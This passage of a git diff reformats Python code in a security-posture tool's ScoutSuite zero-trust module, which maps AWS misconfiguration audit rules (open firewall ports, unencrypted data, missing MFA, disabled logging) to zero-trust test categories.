import ( + CloudWatchRules, +) +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ( + ConfigRules, +) from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import RedshiftRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import ( + RedshiftRules, +) +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules @@ -34,47 +46,68 @@ def test(self) -> str: class PermissiveFirewallRules(ScoutSuiteFindingMap): - rules = [EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL, EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF, - EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS, EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP, - EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET, EC2Rules.SECURITY_GROUP_OPENS_PORT_RANGE, - EC2Rules.EC2_SECURITY_GROUP_WHITELISTS_AWS, - VPCRules.SUBNET_WITH_ALLOW_ALL_INGRESS_ACLS, - VPCRules.SUBNET_WITH_ALLOW_ALL_EGRESS_ACLS, - VPCRules.NETWORK_ACL_NOT_USED, - VPCRules.DEFAULT_NETWORK_ACLS_ALLOW_ALL_INGRESS, - VPCRules.DEFAULT_NETWORK_ACLS_ALLOW_ALL_EGRESS, - VPCRules.CUSTOM_NETWORK_ACLS_ALLOW_ALL_INGRESS, - VPCRules.CUSTOM_NETWORK_ACLS_ALLOW_ALL_EGRESS, - RDSRules.RDS_SECURITY_GROUP_ALLOWS_ALL, - RedshiftRules.REDSHIFT_SECURITY_GROUP_WHITELISTS_ALL - ] + rules = [ + EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL, + EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF, + EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS, + EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP, + EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET, + EC2Rules.SECURITY_GROUP_OPENS_PORT_RANGE, + EC2Rules.EC2_SECURITY_GROUP_WHITELISTS_AWS, + VPCRules.SUBNET_WITH_ALLOW_ALL_INGRESS_ACLS, + VPCRules.SUBNET_WITH_ALLOW_ALL_EGRESS_ACLS, + VPCRules.NETWORK_ACL_NOT_USED, + VPCRules.DEFAULT_NETWORK_ACLS_ALLOW_ALL_INGRESS, + VPCRules.DEFAULT_NETWORK_ACLS_ALLOW_ALL_EGRESS, + VPCRules.CUSTOM_NETWORK_ACLS_ALLOW_ALL_INGRESS, + VPCRules.CUSTOM_NETWORK_ACLS_ALLOW_ALL_EGRESS, + RDSRules.RDS_SECURITY_GROUP_ALLOWS_ALL, + RedshiftRules.REDSHIFT_SECURITY_GROUP_WHITELISTS_ALL, + ] test = zero_trust_consts.TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES class UnencryptedData(ScoutSuiteFindingMap): - rules = [EC2Rules.EBS_SNAPSHOT_NOT_ENCRYPTED, EC2Rules.EBS_VOLUME_NOT_ENCRYPTED, - EC2Rules.EC2_INSTANCE_WITH_USER_DATA_SECRETS, - ELBv2Rules.ELBV2_LISTENER_ALLOWING_CLEARTEXT, ELBv2Rules.ELBV2_OLDER_SSL_POLICY, - RDSRules.RDS_INSTANCE_STORAGE_NOT_ENCRYPTED, RedshiftRules.REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED, - RedshiftRules.REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED, - S3Rules.S3_BUCKET_ALLOWING_CLEARTEXT, S3Rules.S3_BUCKET_NO_DEFAULT_ENCRYPTION, - ELBRules.ELB_LISTENER_ALLOWING_CLEARTEXT, - ELBRules.ELB_OLDER_SSL_POLICY] + rules = [ + EC2Rules.EBS_SNAPSHOT_NOT_ENCRYPTED, + EC2Rules.EBS_VOLUME_NOT_ENCRYPTED, + EC2Rules.EC2_INSTANCE_WITH_USER_DATA_SECRETS, + ELBv2Rules.ELBV2_LISTENER_ALLOWING_CLEARTEXT, + ELBv2Rules.ELBV2_OLDER_SSL_POLICY, + RDSRules.RDS_INSTANCE_STORAGE_NOT_ENCRYPTED, + RedshiftRules.REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED, + RedshiftRules.REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED, + S3Rules.S3_BUCKET_ALLOWING_CLEARTEXT, + S3Rules.S3_BUCKET_NO_DEFAULT_ENCRYPTION, + ELBRules.ELB_LISTENER_ALLOWING_CLEARTEXT, + ELBRules.ELB_OLDER_SSL_POLICY, + ] test = zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA class DataLossPrevention(ScoutSuiteFindingMap): - rules = [RDSRules.RDS_INSTANCE_BACKUP_DISABLED, RDSRules.RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD, - RDSRules.RDS_INSTANCE_SINGLE_AZ, S3Rules.S3_BUCKET_NO_MFA_DELETE, S3Rules.S3_BUCKET_NO_VERSIONING, - ELBv2Rules.ELBV2_NO_DELETION_PROTECTION] + rules = [ + RDSRules.RDS_INSTANCE_BACKUP_DISABLED, + RDSRules.RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD, + RDSRules.RDS_INSTANCE_SINGLE_AZ, + S3Rules.S3_BUCKET_NO_MFA_DELETE, + S3Rules.S3_BUCKET_NO_VERSIONING, + ELBv2Rules.ELBV2_NO_DELETION_PROTECTION, + ] test = zero_trust_consts.TEST_SCOUTSUITE_DATA_LOSS_PREVENTION @@ -91,7 +124,7 @@ class SecureAuthentication(ScoutSuiteFindingMap): IAMRules.IAM_ROOT_ACCOUNT_NO_MFA, IAMRules.IAM_ROOT_ACCOUNT_WITH_ACTIVE_KEYS, IAMRules.IAM_USER_NO_INACTIVE_KEY_ROTATION, - IAMRules.IAM_USER_WITH_MULTIPLE_ACCESS_KEYS + IAMRules.IAM_USER_WITH_MULTIPLE_ACCESS_KEYS, ] test = zero_trust_consts.TEST_SCOUTSUITE_SECURE_AUTHENTICATION @@ -153,7 +186,7 @@ class RestrictivePolicies(ScoutSuiteFindingMap): SNSRules.SNS_TOPIC_WORLD_ADDPERMISSION_POLICY, SESRules.SES_IDENTITY_WORLD_SENDRAWEMAIL_POLICY, SESRules.SES_IDENTITY_WORLD_SENDEMAIL_POLICY, - RedshiftRules.REDSHIFT_CLUSTER_PUBLICLY_ACCESSIBLE + RedshiftRules.REDSHIFT_CLUSTER_PUBLICLY_ACCESSIBLE, ] test = zero_trust_consts.TEST_SCOUTSUITE_RESTRICTIVE_POLICIES @@ -173,7 +206,7 @@ class Logging(ScoutSuiteFindingMap): ELBv2Rules.ELBV2_NO_ACCESS_LOGS, VPCRules.SUBNET_WITHOUT_FLOW_LOG, ConfigRules.CONFIG_RECORDER_NOT_CONFIGURED, - RedshiftRules.REDSHIFT_PARAMETER_GROUP_LOGGING_DISABLED + RedshiftRules.REDSHIFT_PARAMETER_GROUP_LOGGING_DISABLED, ] test = zero_trust_consts.TEST_SCOUTSUITE_LOGGING @@ -185,7 +218,7 @@ class ServiceSecurity(ScoutSuiteFindingMap): ELBv2Rules.ELBV2_HTTP_REQUEST_SMUGGLING, RDSRules.RDS_INSTANCE_CA_CERTIFICATE_DEPRECATED, RDSRules.RDS_INSTANCE_NO_MINOR_UPGRADE, - RedshiftRules.REDSHIFT_CLUSTER_NO_VERSION_UPGRADE + RedshiftRules.REDSHIFT_CLUSTER_NO_VERSION_UPGRADE, ] test = zero_trust_consts.TEST_SCOUTSUITE_SERVICE_SECURITY diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py index d19c2b216b9..e66c4778288 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py @@ -1,5 +1,19 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import RestrictivePolicies, \ - SecureAuthentication, DataLossPrevention, UnencryptedData, PermissiveFirewallRules, ServiceSecurity, Logging +from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import ( + RestrictivePolicies, + SecureAuthentication, + DataLossPrevention, + UnencryptedData, + PermissiveFirewallRules, + ServiceSecurity, + Logging, +) -SCOUTSUITE_FINDINGS = [PermissiveFirewallRules, UnencryptedData, DataLossPrevention, SecureAuthentication, - RestrictivePolicies, Logging, ServiceSecurity] +SCOUTSUITE_FINDINGS = [ + PermissiveFirewallRules, + UnencryptedData, + DataLossPrevention, + SecureAuthentication, + RestrictivePolicies, + Logging, + ServiceSecurity, +] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py index a31c83d3e0f..abbd4816441 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py @@ -1,31 +1,31 @@ from enum import Enum -SERVICES = 'services' -FINDINGS = 'findings' +SERVICES = "services" +FINDINGS = "findings" class SERVICE_TYPES(Enum): - ACM = 'acm' - AWSLAMBDA = 'awslambda' - CLOUDFORMATION = 'cloudformation' - CLOUDTRAIL = 'cloudtrail' - CLOUDWATCH = 'cloudwatch' - CONFIG = 'config' - DIRECTCONNECT = 'directconnect' - EC2 = 'ec2' - EFS = 'efs' - ELASTICACHE = 'elasticache' - ELB = 'elb' - ELB_V2 = 'elbv2' - EMR = 'emr' - IAM = 'iam' - KMS = 'kms' - RDS = 'rds' - REDSHIFT = 'redshift' - ROUTE53 = 'route53' - S3 = 's3' - SES = 'ses' - SNS = 'sns' - SQS = 'sqs' - VPC = 'vpc' - SECRETSMANAGER = 'secretsmanager' + ACM = "acm" + AWSLAMBDA = "awslambda" + CLOUDFORMATION = "cloudformation" + CLOUDTRAIL = "cloudtrail" + CLOUDWATCH = "cloudwatch" + CONFIG = "config" + DIRECTCONNECT = "directconnect" + EC2 = "ec2" + EFS = "efs" + ELASTICACHE = "elasticache" + ELB = "elb" + ELB_V2 = "elbv2" + EMR = "emr" + IAM = "iam" + KMS = "kms" + RDS = "rds" + REDSHIFT = "redshift" + ROUTE53 = "route53" + S3 = "s3" + SES = "ses" + SNS = "sns" + SQS = "sqs" + VPC = "vpc" + SECRETSMANAGER = "secretsmanager" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py index 935f1c98981..134ed35008d 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py @@ -2,8 +2,9 @@ from common.utils.code_utils import get_value_from_dict from common.utils.exceptions import RulePathCreatorNotFound -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import \ - RULE_PATH_CREATORS_LIST +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import ( + RULE_PATH_CREATORS_LIST, +) def __build_rule_to_rule_path_creator_hashmap(): @@ -18,7 +19,6 @@ def __build_rule_to_rule_path_creator_hashmap(): class RuleParser: - @staticmethod def get_rule_data(scoutsuite_data: dict, rule_name: Enum) -> dict: rule_path = RuleParser._get_rule_path(rule_name) @@ -34,5 +34,7 @@ def _get_rule_path_creator(rule_name: Enum): try: return RULE_TO_RULE_PATH_CREATOR_HASHMAP[rule_name] except KeyError: - raise RulePathCreatorNotFound(f"Rule path creator not found for rule {rule_name.value}. Make sure to assign" - f"this rule to any rule path creators.") + raise RulePathCreatorNotFound( + f"Rule path creator not found for rule {rule_name.value}. Make sure to assign" + f"this rule to any rule path creators." + ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py index ee7f7c38b5f..56734e1a0cf 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py @@ -2,12 +2,16 @@ from enum import Enum from typing import List, Type -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import FINDINGS, SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import ( + FINDINGS, + SERVICE_TYPES, +) class AbstractRulePathCreator(ABC): - @property @abstractmethod def service_type(self) -> SERVICE_TYPES: @@ -20,5 +24,5 @@ def supported_rules(self) -> Type[RuleNameEnum]: @classmethod def build_rule_path(cls, rule_name: Enum) -> List[str]: - assert(rule_name in cls.supported_rules) + assert rule_name in cls.supported_rules return [cls.service_type.value, FINDINGS, rule_name.value] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py index 10adb474c4a..40e438ebabf 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py @@ -1,7 +1,10 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import CloudformationRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import ( + CloudformationRules, +) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( + AbstractRulePathCreator, +) class CloudformationRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py index 2f626dfd58a..928cd138e6e 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py @@ -1,7 +1,10 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import CloudTrailRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import ( + CloudTrailRules, +) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( + AbstractRulePathCreator, +) class CloudTrailRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py index f6d4d673dd4..4d45c878e58 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py @@ -1,7 +1,10 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import CloudWatchRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import ( + CloudWatchRules, +) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( + AbstractRulePathCreator, +) class CloudWatchRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py index 59a2e49eb5c..b5607cbe810 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py @@ -1,7 +1,10 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ConfigRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ( + ConfigRules, +) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( + AbstractRulePathCreator, +) class ConfigRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py index 4a37b0a7efb..8d951f656fe 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py @@ -1,7 +1,8 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( + AbstractRulePathCreator, +) class EC2RulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py index a38ae2881b3..4af6e351bf2 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py @@ -1,7 +1,8 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( + AbstractRulePathCreator, +) class ELBRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py index 2472bf076a9..935a8678eb5 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py @@ -1,7 +1,8 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( + AbstractRulePathCreator, +) class ELBv2RulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py index a601cb9cd08..f355dd8e21d 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py @@ -1,7 +1,8 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( + AbstractRulePathCreator, +) class IAMRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py index 0b8bf54affb..be4b043d720 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py @@ -1,7 +1,8 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( + AbstractRulePathCreator, +) class RDSRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py index 4de7016a4f4..dfa954638bf 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py @@ -1,7 +1,10 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import RedshiftRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import ( + RedshiftRules, +) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( + AbstractRulePathCreator, +) class RedshiftRulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py index 4c0a0dccc00..f06b2554f34 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py @@ -1,7 +1,8 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( + AbstractRulePathCreator, +) class S3RulePathCreator(AbstractRulePathCreator): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py index c7cac2bce2f..7ded2918f1f 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py @@ -1,7 +1,8 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - 